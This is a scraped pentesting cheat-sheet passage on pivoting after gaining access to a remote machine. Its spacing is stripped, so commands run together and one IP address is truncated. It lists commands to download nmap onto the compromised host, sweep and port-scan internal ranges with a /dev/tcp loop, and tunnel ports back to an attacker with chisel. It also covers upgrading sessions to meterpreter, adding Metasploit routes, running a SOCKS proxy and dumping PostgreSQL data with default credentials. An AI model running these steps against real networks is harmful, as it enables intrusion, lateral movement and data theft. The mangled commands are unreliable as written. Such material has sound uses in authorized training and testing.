After entering remote machine, we can enumerate and search other networks.
Before that if the target machine does not have nmap, we can upload the binary to target machine.
# Linux 64-bitwgethttps://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmapCopied!
When we're ready, let's investigate the network as follow.
# ARP cachearp-a# Network hosts, ip addressescat/etc/hostscat/etc/resolv.confnmclidevshow# Network rangesnmap10.0.0.1-255nmap172.17.0.1-255for i in {1..255}; do (ping-c110.0.0.${i} |grep"bytes from"&); done# Port scannmap10.0.0.2nmap172.17.0.2for i in {1..65535}; do (echo>/dev/tcp/172.17.0.2/$i) >/dev/null2>&1&&echo $i isopen; doneCopied!
If we find host and port but cannot directly access from local machine, we can accomplish that by reverse port forwarding.
For example, assume we found another host 172.16.22.2 and port 5985 in remote machine, then we want to connect the port on the host. Execute the following commands on each machine.
# In local machinechiselserver-p9999--reverse# In remote machine# replace "10.0.0.1" with your local ip addresschiselclient10.0.0.1:9999R:5985:172.16.22.2:5985Copied!
Now we can access to 172.16.22.2:5985 from local machine as follow.
msfconsolemsf> useauxiliary/...msf> runmsf> background# Upgrade the latest session to meterpretermsf> sessions-u-1# Interact with the latest session (meterpreter)msf> sessions-i-1# Resolve the remote hostname to an ip addressmeterpreter> resolve<variable># Background the meterpreter sessionmeterpreter> background# Configure the routing table to the destination for 172.28.101.51 (outputted ip of the "resolve" command) to the latest opened session.msf> routeadd172.28.101.51/32-1# Configure the routing table to the other destination for 172.17.0.1 (e.g. written in /.dockerenv) to the latest opened session.msf> routeadd172.17.0.1/32-1# Print the routing tablemsf> routeprintCopied!
After modifying the routing table, you can fetch information using the IP (e.g. 172.28.101.51) in msfconsole. For example:
# PostgreSQLmsf> useauxiliary/scanner/postgres/postgres_schemadumpmsf> runpostgres://postgres:postgres@172.28.101.51/postgresmsf> useauxiliary/admin/postgres/postgres_sqlmsf> runpostgres://postgres:postgres@172.28.101/postgressql='select * from <table>'Copied!
Socks Proxy
It is an intermediate server that supports relaying networking traffic between two machines.
msfconsolemsf> useauxiliary/server/socks_proxymsf> runsrvhost=127.0.0.1srvport=9050version=4a# Check if the socks proxy is running as a background job.msf> jobs# Stop the socks proxymsf> jobs-k<job-id>Copied!
After that, you can use the localhost using tools like curl, proxychains.